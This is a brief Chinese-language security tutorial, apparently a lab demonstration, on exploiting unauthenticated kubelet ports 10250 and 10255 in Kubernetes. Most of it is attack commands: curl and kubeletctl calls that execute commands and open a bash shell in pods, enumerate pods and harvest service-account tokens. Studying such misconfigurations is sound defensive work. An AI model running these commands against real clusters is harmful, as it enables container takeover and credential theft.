kubelet会在K8s集群中的每一个节点上运行一个实例,对容器进行生命周期的管理。kubelet开放的端口有:
-
4194 -
10248 -
10250(kubelet API):是kubelet与 API Server通信的端口,定期请求 API Server获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。如果kubelet的10250端口对外暴露,攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。 -
10255(readonly API):提供了pod和node的信息。如果对外开放,攻击者利用公开api可以获取敏感信息。
10250端口未授权访问
systemctl restart kubelet
https://172.16.200.71:10250/runningpods/
命令执行
curl -XPOST -k "https://172.16.200.71:10250/run/kube-system/kube-proxy-scv7g/kube-proxy" -d "cmd=whoami"
./kubeletctl_darwin_amd64 --server 172.16.200.71 pods
./kubeletctl_darwin_amd64 --server 172.16.200.71 scan rce
./kubeletctl_darwin_amd64 --server 172.16.200.71 -p myapp -c container -n test exec "/bin/bash"
./kubeletctl_darwin_amd64 --server 172.16.200.71 run "hostname -i" --all-pods
Token读取
./kubeletctl_darwin_amd64 --server 172.16.200.71 scan token
10255端口未授权访问
systemctl restart kubelet
./kubeletctl_darwin_amd64 --server 172.16.200.71 --http --port=10255 pods
END
原文始发于微信公众号(谢公子学安全):K8S kubelet 10250/10255端口未授权访问